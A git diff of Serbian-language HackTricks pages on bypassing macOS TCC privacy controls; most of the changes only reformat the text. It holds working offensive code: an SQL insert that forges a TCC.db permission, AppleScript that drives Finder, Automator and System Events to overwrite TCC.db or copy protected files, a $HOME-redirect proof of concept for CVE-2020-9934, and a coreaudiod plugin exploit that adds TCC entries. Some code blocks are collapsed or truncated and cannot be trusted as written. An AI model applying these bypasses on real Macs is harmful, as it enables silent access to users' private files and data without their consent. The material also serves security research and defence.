Kao što je ranije pomenuto, moguće je **dodeliti pristup aplikaciji fajlu prevlačenjem i ispuštanjem**. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao **prošireni** **atribut fajla**. Ovaj atribut će **čuvati UUID** odobrene aplikacije:
|
Kao što je ranije pomenuto, moguće je **dodeliti pristup aplikaciji fajlu prevlačenjem i ispuštanjem**. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao **prošireni** **atribut fajla**. Ovaj atribut će **čuvati UUID** odobrene aplikacije:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
xattr Desktop/private.txt
|
xattr Desktop/private.txt
|
||||||
com.apple.macl
|
com.apple.macl
|
||||||
|
@ -278,6 +289,7 @@ Filename,Header,App UUID
|
||||||
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
|
||||||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Zanimljivo je da se atribut **`com.apple.macl`** upravlja preko **Sandbox-a**, a ne preko tccd.
|
Zanimljivo je da se atribut **`com.apple.macl`** upravlja preko **Sandbox-a**, a ne preko tccd.
|
||||||
|
|
||||||
|
@ -295,45 +307,9 @@ Ako u nekom trenutku uspete da dobijete pristup pisanju preko TCC baze podataka,
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Primer ubacivanja u TCC</summary>
|
<summary>Primer ubacivanja u TCC</summary>
|
||||||
```sql
|
|
||||||
INSERT INTO access (
|
\`\`\`sql INSERT INTO access ( service, client, client\_type, auth\_value, auth\_reason, auth\_version, csreq, policy\_id, indirect\_object\_identifier\_type, indirect\_object\_identifier, indirect\_object\_code\_identity, flags, last\_modified, pid, pid\_version, boot\_uuid, last\_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client\_type (0 - bundle id) 2, -- auth\_value (2 - allowed) 3, -- auth\_reason (3 - "User Set") 1, -- auth\_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy\_id NULL, -- indirect\_object\_identifier\_type 'UNUSED', -- indirect\_object\_identifier - default value NULL, -- indirect\_object\_code\_identity 0, -- flags strftime('%s', 'now'), -- last\_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid\_version is an integer and optional 'UNUSED', -- default value for boot\_uuid strftime('%s', 'now') -- last\_reminded with default current timestamp ); \`\`\`
|
||||||
service,
|
|
||||||
client,
|
|
||||||
client_type,
|
|
||||||
auth_value,
|
|
||||||
auth_reason,
|
|
||||||
auth_version,
|
|
||||||
csreq,
|
|
||||||
policy_id,
|
|
||||||
indirect_object_identifier_type,
|
|
||||||
indirect_object_identifier,
|
|
||||||
indirect_object_code_identity,
|
|
||||||
flags,
|
|
||||||
last_modified,
|
|
||||||
pid,
|
|
||||||
pid_version,
|
|
||||||
boot_uuid,
|
|
||||||
last_reminded
|
|
||||||
) VALUES (
|
|
||||||
'kTCCServiceSystemPolicyDesktopFolder', -- service
|
|
||||||
'com.googlecode.iterm2', -- client
|
|
||||||
0, -- client_type (0 - bundle id)
|
|
||||||
2, -- auth_value (2 - allowed)
|
|
||||||
3, -- auth_reason (3 - "User Set")
|
|
||||||
1, -- auth_version (always 1)
|
|
||||||
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
|
|
||||||
NULL, -- policy_id
|
|
||||||
NULL, -- indirect_object_identifier_type
|
|
||||||
'UNUSED', -- indirect_object_identifier - default value
|
|
||||||
NULL, -- indirect_object_code_identity
|
|
||||||
0, -- flags
|
|
||||||
strftime('%s', 'now'), -- last_modified with default current timestamp
|
|
||||||
NULL, -- assuming pid is an integer and optional
|
|
||||||
NULL, -- assuming pid_version is an integer and optional
|
|
||||||
'UNUSED', -- default value for boot_uuid
|
|
||||||
strftime('%s', 'now') -- last_reminded with default current timestamp
|
|
||||||
);
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### TCC Payloads
|
### TCC Payloads
|
||||||
|
@ -399,25 +375,14 @@ Imajte na umu da zato što aplikacija **Automator** ima TCC ovlašćenje **`kTCC
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Get a shell inside Automator</summary>
|
<summary>Get a shell inside Automator</summary>
|
||||||
```applescript
|
|
||||||
osascript<<EOD
|
|
||||||
set theScript to "touch /tmp/something"
|
|
||||||
|
|
||||||
tell application "Automator"
|
\`\`\`applescript osascript<
|
||||||
set actionID to Automator action id "com.apple.RunShellScript"
|
|
||||||
tell (make new workflow)
|
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND\_STRING" to theScript end tell execute it end tell activate end tell EOD
|
||||||
add actionID to it
|
|
||||||
tell last Automator action
|
## Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
||||||
set value of setting "inputMethod" to 1
|
|
||||||
set value of setting "COMMAND_STRING" to theScript
|
````
|
||||||
end tell
|
|
||||||
execute it
|
|
||||||
end tell
|
|
||||||
activate
|
|
||||||
end tell
|
|
||||||
EOD
|
|
||||||
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Isto važi i za **Script Editor aplikaciju,** ona može kontrolisati Finder, ali korišćenjem AppleScript-a ne možete je naterati da izvrši skriptu.
|
Isto važi i za **Script Editor aplikaciju,** ona može kontrolisati Finder, ali korišćenjem AppleScript-a ne možete je naterati da izvrši skriptu.
|
||||||
|
@ -465,12 +430,14 @@ EOD
|
||||||
# File operations in the folder should trigger the Folder Action
|
# File operations in the folder should trigger the Folder Action
|
||||||
touch "$HOME/Desktop/file"
|
touch "$HOME/Desktop/file"
|
||||||
rm "$HOME/Desktop/file"
|
rm "$HOME/Desktop/file"
|
||||||
```
|
````
|
||||||
### Automatizacija (SE) + Pristupačnost (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** do FDA\*
|
|
||||||
|
#### Automatizacija (SE) + Pristupačnost (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** do FDA\*
|
||||||
|
|
||||||
Automatizacija na **`System Events`** + Pristupačnost (**`kTCCServicePostEvent`**) omogućava slanje **tastera na procese**. Na ovaj način možete zloupotrebiti Finder da promenite korisnički TCC.db ili da date FDA proizvoljnoj aplikaciji (mada će možda biti potrebna lozinka za ovo).
|
Automatizacija na **`System Events`** + Pristupačnost (**`kTCCServicePostEvent`**) omogućava slanje **tastera na procese**. Na ovaj način možete zloupotrebiti Finder da promenite korisnički TCC.db ili da date FDA proizvoljnoj aplikaciji (mada će možda biti potrebna lozinka za ovo).
|
||||||
|
|
||||||
Primer prebrisavanja korisničkog TCC.db preko Findera:
|
Primer prebrisavanja korisničkog TCC.db preko Findera:
|
||||||
|
|
||||||
```applescript
|
```applescript
|
||||||
-- store the TCC.db file to copy in /tmp
|
-- store the TCC.db file to copy in /tmp
|
||||||
osascript <<EOF
|
osascript <<EOF
|
||||||
|
@ -516,31 +483,32 @@ keystroke "v" using {command down}
|
||||||
end tell
|
end tell
|
||||||
EOF
|
EOF
|
||||||
```
|
```
|
||||||
### `kTCCServiceAccessibility` ka FDA\*
|
|
||||||
|
#### `kTCCServiceAccessibility` ka FDA\*
|
||||||
|
|
||||||
Proverite ovu stranicu za neke [**payload-ove za zloupotrebu dozvola za pristupačnost**](macos-tcc-payloads.md#accessibility) kako biste postigli privilegije eskalacije do FDA\* ili na primer pokrenuli keylogger.
|
Proverite ovu stranicu za neke [**payload-ove za zloupotrebu dozvola za pristupačnost**](macos-tcc-payloads.md#accessibility) kako biste postigli privilegije eskalacije do FDA\* ili na primer pokrenuli keylogger.
|
||||||
|
|
||||||
### Klijent za bezbednost krajnjih tačaka ka FDA
|
#### Klijent za bezbednost krajnjih tačaka ka FDA
|
||||||
|
|
||||||
Ako imate **`kTCCServiceEndpointSecurityClient`**, imate FDA. Kraj.
|
Ako imate **`kTCCServiceEndpointSecurityClient`**, imate FDA. Kraj.
|
||||||
|
|
||||||
### Sistemski pravilnik SysAdmin fajlova ka FDA
|
#### Sistemski pravilnik SysAdmin fajlova ka FDA
|
||||||
|
|
||||||
**`kTCCServiceSystemPolicySysAdminFiles`** omogućava **promenu** atributa **`NFSHomeDirectory`** korisnika što menja njegov matični folder i time omogućava **zaobilazak TCC**.
|
**`kTCCServiceSystemPolicySysAdminFiles`** omogućava **promenu** atributa **`NFSHomeDirectory`** korisnika što menja njegov matični folder i time omogućava **zaobilazak TCC**.
|
||||||
|
|
||||||
### Korisnička TCC baza podataka ka FDA
|
#### Korisnička TCC baza podataka ka FDA
|
||||||
|
|
||||||
Dobijanjem **dozvola za pisanje** nad **korisničkom TCC** bazom podataka ne možete sebi dodeliti **`FDA`** dozvole, samo onaj koji se nalazi u sistemskoj bazi podataka može to da dodeli.
|
Dobijanjem **dozvola za pisanje** nad **korisničkom TCC** bazom podataka ne možete sebi dodeliti **`FDA`** dozvole, samo onaj koji se nalazi u sistemskoj bazi podataka može to da dodeli.
|
||||||
|
|
||||||
Ali možete sebi dati **`Automatizaciju prava za Finder`**, i zloupotrebiti prethodnu tehniku za eskalaciju do FDA\*.
|
Ali možete sebi dati **`Automatizaciju prava za Finder`**, i zloupotrebiti prethodnu tehniku za eskalaciju do FDA\*.
|
||||||
|
|
||||||
### **FDA ka TCC dozvolama**
|
#### **FDA ka TCC dozvolama**
|
||||||
|
|
||||||
**Pristup celom disku** u TCC naziv je **`kTCCServiceSystemPolicyAllFiles`**
|
**Pristup celom disku** u TCC naziv je **`kTCCServiceSystemPolicyAllFiles`**
|
||||||
|
|
||||||
Ne mislim da je ovo prava eskalacija privilegija, ali u slučaju da vam bude korisno: Ako kontrolišete program sa FDA možete **modifikovati korisničku TCC bazu podataka i sebi dodeliti bilo kakav pristup**. Ovo može biti korisno kao tehnika upornosti u slučaju da izgubite svoje FDA dozvole.
|
Ne mislim da je ovo prava eskalacija privilegija, ali u slučaju da vam bude korisno: Ako kontrolišete program sa FDA možete **modifikovati korisničku TCC bazu podataka i sebi dodeliti bilo kakav pristup**. Ovo može biti korisno kao tehnika upornosti u slučaju da izgubite svoje FDA dozvole.
|
||||||
|
|
||||||
### **SIP zaobilazak ka TCC zaobilasku**
|
#### **SIP zaobilazak ka TCC zaobilasku**
|
||||||
|
|
||||||
Sistem **TCC baza podataka** je zaštićena sa **SIP**, zbog toga samo procesi sa **naznačenim privilegijama** mogu da je modifikuju. Dakle, ako napadač pronađe **SIP zaobilazak** nad **fajlom** (može da modifikuje fajl ograničen SIP-om), biće u mogućnosti da:
|
Sistem **TCC baza podataka** je zaštićena sa **SIP**, zbog toga samo procesi sa **naznačenim privilegijama** mogu da je modifikuju. Dakle, ako napadač pronađe **SIP zaobilazak** nad **fajlom** (može da modifikuje fajl ograničen SIP-om), biće u mogućnosti da:
|
||||||
|
|
||||||
|
@ -551,11 +519,14 @@ Sistem **TCC baza podataka** je zaštićena sa **SIP**, zbog toga samo procesi s
|
||||||
|
|
||||||
Međutim, postoji još jedna opcija za zloupotrebu ovog **SIP zaobilaska za zaobilaženje TCC**, fajl `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` je lista aplikacija koje zahtevaju TCC izuzetak. Dakle, ako napadač može **ukloniti SIP zaštitu** sa ovog fajla i dodati svoju **sopstvenu aplikaciju**, aplikacija će moći da zaobiđe TCC.\
|
Međutim, postoji još jedna opcija za zloupotrebu ovog **SIP zaobilaska za zaobilaženje TCC**, fajl `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` je lista aplikacija koje zahtevaju TCC izuzetak. Dakle, ako napadač može **ukloniti SIP zaštitu** sa ovog fajla i dodati svoju **sopstvenu aplikaciju**, aplikacija će moći da zaobiđe TCC.\
|
||||||
Na primer, da dodate terminal:
|
Na primer, da dodate terminal:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get needed info
|
# Get needed info
|
||||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||||
```
|
```
|
||||||
|
|
||||||
AllowApplicationsList.plist:
|
AllowApplicationsList.plist:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -578,29 +549,14 @@ AllowApplicationsList.plist:
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
### TCC Bypassovi
|
|
||||||
|
|
||||||
{% content-ref url="macos-tcc-bypasses/" %}
|
#### TCC Bypassovi
|
||||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
|
||||||
{% endcontent-ref %}
|
|
||||||
|
|
||||||
## Reference
|
### Reference
|
||||||
|
|
||||||
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
||||||
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
||||||
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
||||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -19,6 +19,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
### Bypass za pisanje
|
### Bypass za pisanje
|
||||||
|
|
||||||
Ovo nije zaobilazak, to je samo kako TCC radi: **Ne štiti od pisanja**. Ako Terminal **nema pristup čitanju Desktop-a korisnika, i dalje može pisati u njega**:
|
Ovo nije zaobilazak, to je samo kako TCC radi: **Ne štiti od pisanja**. Ako Terminal **nema pristup čitanju Desktop-a korisnika, i dalje može pisati u njega**:
|
||||||
|
|
||||||
```shell-session
|
```shell-session
|
||||||
username@hostname ~ % ls Desktop
|
username@hostname ~ % ls Desktop
|
||||||
ls: Desktop: Operation not permitted
|
ls: Desktop: Operation not permitted
|
||||||
|
@ -28,13 +29,14 @@ ls: Desktop: Operation not permitted
|
||||||
username@hostname ~ % cat Desktop/lalala
|
username@hostname ~ % cat Desktop/lalala
|
||||||
asd
|
asd
|
||||||
```
|
```
|
||||||
|
|
||||||
**Prošireni atribut `com.apple.macl`** dodaje se novom **fajlu** kako bi dao pristup **aplikaciji kreatora** da ga pročita.
|
**Prošireni atribut `com.apple.macl`** dodaje se novom **fajlu** kako bi dao pristup **aplikaciji kreatora** da ga pročita.
|
||||||
|
|
||||||
### TCC ClickJacking
|
### TCC ClickJacking
|
||||||
|
|
||||||
Moguće je **postaviti prozor preko TCC prozora** kako bi korisnik **prihvatio** bez primetnosti. Možete pronaći PoC u [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
Moguće je **postaviti prozor preko TCC prozora** kako bi korisnik **prihvatio** bez primetnosti. Možete pronaći PoC u [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**
|
||||||
|
|
||||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||||
|
|
||||||
### TCC Zahtev po proizvoljnom imenu
|
### TCC Zahtev po proizvoljnom imenu
|
||||||
|
|
||||||
|
@ -75,7 +77,7 @@ Pravo **`com.apple.private.icloud-account-access`** omogućava komunikaciju sa *
|
||||||
|
|
||||||
**iMovie** i **Garageband** imali su ovo pravo i drugi koji su dozvoljeni.
|
**iMovie** i **Garageband** imali su ovo pravo i drugi koji su dozvoljeni.
|
||||||
|
|
||||||
Za više **informacija** o eksploataciji za **dobijanje icloud tokena** iz tog prava, pogledajte predavanje: [**#OBTS v5.0: "Šta se dešava na vašem Mac-u, ostaje na Apple-ovom iCloud-u?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
Za više **informacija** o eksploataciji za **dobijanje icloud tokena** iz tog prava, pogledajte predavanje: [**#OBTS v5.0: "Šta se dešava na vašem Mac-u, ostaje na Apple-ovom iCloud-u?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||||
|
|
||||||
### kTCCServiceAppleEvents / Automatizacija
|
### kTCCServiceAppleEvents / Automatizacija
|
||||||
|
|
||||||
|
@ -108,12 +110,15 @@ end tell
|
||||||
end tell
|
end tell
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
osascript iterm.script
|
osascript iterm.script
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Preko Findera
|
#### Preko Findera
|
||||||
|
|
||||||
Ili ako aplikacija ima pristup preko Findera, može koristiti skriptu poput ove:
|
Ili ako aplikacija ima pristup preko Findera, može koristiti skriptu poput ove:
|
||||||
|
|
||||||
```applescript
|
```applescript
|
||||||
set a_user to do shell script "logname"
|
set a_user to do shell script "logname"
|
||||||
tell application "Finder"
|
tell application "Finder"
|
||||||
|
@ -123,6 +128,7 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
|
||||||
end tell
|
end tell
|
||||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Po ponašanju aplikacije
|
## Po ponašanju aplikacije
|
||||||
|
|
||||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||||
|
@ -132,6 +138,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
||||||
Prema [ovom Stack Exchange postu](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i zato što TCC daemon radi putem `launchd` unutar trenutne korisničke domene, moguće je **kontrolisati sve environment promenljive** koje mu se prosleđuju.\
|
Prema [ovom Stack Exchange postu](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i zato što TCC daemon radi putem `launchd` unutar trenutne korisničke domene, moguće je **kontrolisati sve environment promenljive** koje mu se prosleđuju.\
|
||||||
Stoga, **napadač može postaviti `$HOME` environment** promenljivu u **`launchctl`** da pokazuje na **kontrolisani** **direktorijum**, **restartovati** **TCC** daemon, a zatim **direktno izmeniti TCC bazu podataka** kako bi sebi dao **sve dostupne TCC privilegije** bez ikakvog upita korisniku.\
|
Stoga, **napadač može postaviti `$HOME` environment** promenljivu u **`launchctl`** da pokazuje na **kontrolisani** **direktorijum**, **restartovati** **TCC** daemon, a zatim **direktno izmeniti TCC bazu podataka** kako bi sebi dao **sve dostupne TCC privilegije** bez ikakvog upita korisniku.\
|
||||||
PoC:
|
PoC:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# reset database just in case (no cheating!)
|
# reset database just in case (no cheating!)
|
||||||
$> tccutil reset All
|
$> tccutil reset All
|
||||||
|
@ -158,6 +165,7 @@ NULL,
|
||||||
# list Documents directory without prompting the end user
|
# list Documents directory without prompting the end user
|
||||||
$> ls ~/Documents
|
$> ls ~/Documents
|
||||||
```
|
```
|
||||||
|
|
||||||
### CVE-2021-30761 - Beleške
|
### CVE-2021-30761 - Beleške
|
||||||
|
|
||||||
Beleške su imale pristup TCC zaštićenim lokacijama, ali kada se napravi beleška, ona se **kreira na lokaciji koja nije zaštićena**. Dakle, mogli ste zatražiti od beleški da kopiraju zaštićenu datoteku u belešku (tako da se nalazi na lokaciji koja nije zaštićena) i zatim pristupiti datoteci:
|
Beleške su imale pristup TCC zaštićenim lokacijama, ali kada se napravi beleška, ona se **kreira na lokaciji koja nije zaštićena**. Dakle, mogli ste zatražiti od beleški da kopiraju zaštićenu datoteku u belešku (tako da se nalazi na lokaciji koja nije zaštićena) i zatim pristupiti datoteci:
|
||||||
|
@ -190,10 +198,12 @@ Ako je **`SQLITE_SQLLOG_DIR="putanja/folder"`** to u osnovi znači da će **svak
|
||||||
Ako je postavljena okolina promenljiva **`SQLITE_AUTO_TRACE`**, biblioteka **`libsqlite3.dylib`** će početi **logovati** sve SQL upite. Mnoge aplikacije su koristile ovu biblioteku, pa je bilo moguće logovati sve njihove SQLite upite.
|
Ako je postavljena okolina promenljiva **`SQLITE_AUTO_TRACE`**, biblioteka **`libsqlite3.dylib`** će početi **logovati** sve SQL upite. Mnoge aplikacije su koristile ovu biblioteku, pa je bilo moguće logovati sve njihove SQLite upite.
|
||||||
|
|
||||||
Nekoliko Apple aplikacija je koristilo ovu biblioteku za pristup informacijama zaštićenim TCC-om.
|
Nekoliko Apple aplikacija je koristilo ovu biblioteku za pristup informacijama zaštićenim TCC-om.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Set this env variable everywhere
|
# Set this env variable everywhere
|
||||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||||
```
|
```
|
||||||
|
|
||||||
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
|
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
|
||||||
|
|
||||||
Ova **env promenljiva se koristi od strane `Metal` okvira** koji je zavistan od različitih programa, najznačajnije `Music`, koji ima FDA.
|
Ova **env promenljiva se koristi od strane `Metal` okvira** koji je zavistan od različitih programa, najznačajnije `Music`, koji ima FDA.
|
||||||
|
@ -285,11 +295,13 @@ Aplikacija `/System/Library/CoreServices/Applications/Directory Utility.app` ima
|
||||||
Da bi se iskoristio ovaj CVE, **`NFSHomeDirectory`** je **promenjen** (zloupotrebljavajući prethodnu privilegiju) kako bi se moglo **preuzeti korisničku TCC bazu podataka** zaobišavajući TCC.
|
Da bi se iskoristio ovaj CVE, **`NFSHomeDirectory`** je **promenjen** (zloupotrebljavajući prethodnu privilegiju) kako bi se moglo **preuzeti korisničku TCC bazu podataka** zaobišavajući TCC.
|
||||||
|
|
||||||
Za više informacija pogledajte [**originalni izveštaj**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
Za više informacija pogledajte [**originalni izveštaj**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||||
|
|
||||||
### CVE-2020-29621 - Coreaudiod
|
### CVE-2020-29621 - Coreaudiod
|
||||||
|
|
||||||
Binarni fajl **`/usr/sbin/coreaudiod`** imao je dozvole `com.apple.security.cs.disable-library-validation` i `com.apple.private.tcc.manager`. Prva dozvola omogućavala je **ubacivanje koda**, a druga mu je dala pristup za **upravljanje TCC**.
|
Binarni fajl **`/usr/sbin/coreaudiod`** imao je dozvole `com.apple.security.cs.disable-library-validation` i `com.apple.private.tcc.manager`. Prva dozvola omogućavala je **ubacivanje koda**, a druga mu je dala pristup za **upravljanje TCC**.
|
||||||
|
|
||||||
Ovaj binarni fajl je omogućavao učitavanje **dodatnih plug-ina** iz foldera `/Library/Audio/Plug-Ins/HAL`. Stoga je bilo moguće **učitati dodatak i zloupotrebiti TCC dozvole** pomoću ovog PoC-a:
|
Ovaj binarni fajl je omogućavao učitavanje **dodatnih plug-ina** iz foldera `/Library/Audio/Plug-Ins/HAL`. Stoga je bilo moguće **učitati dodatak i zloupotrebiti TCC dozvole** pomoću ovog PoC-a:
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <Security/Security.h>
|
#import <Security/Security.h>
|
||||||
|
@ -316,6 +328,7 @@ add_tcc_entry();
|
||||||
NSLog(@"[+] Exploitation finished...");
|
NSLog(@"[+] Exploitation finished...");
|
||||||
exit(0);
|
exit(0);
|
||||||
```
|
```
|
||||||
|
|
||||||
Za više informacija pogledajte [**originalni izveštaj**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
Za više informacija pogledajte [**originalni izveštaj**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
||||||
|
|
||||||
### Dodaci sloja apstrakcije uređaja (DAL)
|
### Dodaci sloja apstrakcije uređaja (DAL)
|
||||||
|
@ -329,6 +342,7 @@ Nekoliko Apple aplikacija je bilo ranjivo na ovo.
|
||||||
### Firefox
|
### Firefox
|
||||||
|
|
||||||
Aplikacija Firefox je imala dozvole `com.apple.security.cs.disable-library-validation` i `com.apple.security.cs.allow-dyld-environment-variables`:
|
Aplikacija Firefox je imala dozvole `com.apple.security.cs.disable-library-validation` i `com.apple.security.cs.allow-dyld-environment-variables`:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
codesign -d --entitlements :- /Applications/Firefox.app
|
codesign -d --entitlements :- /Applications/Firefox.app
|
||||||
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||||
|
@ -354,6 +368,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
Za više informacija o tome kako lako iskoristiti ovo [**proverite originalni izveštaj**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
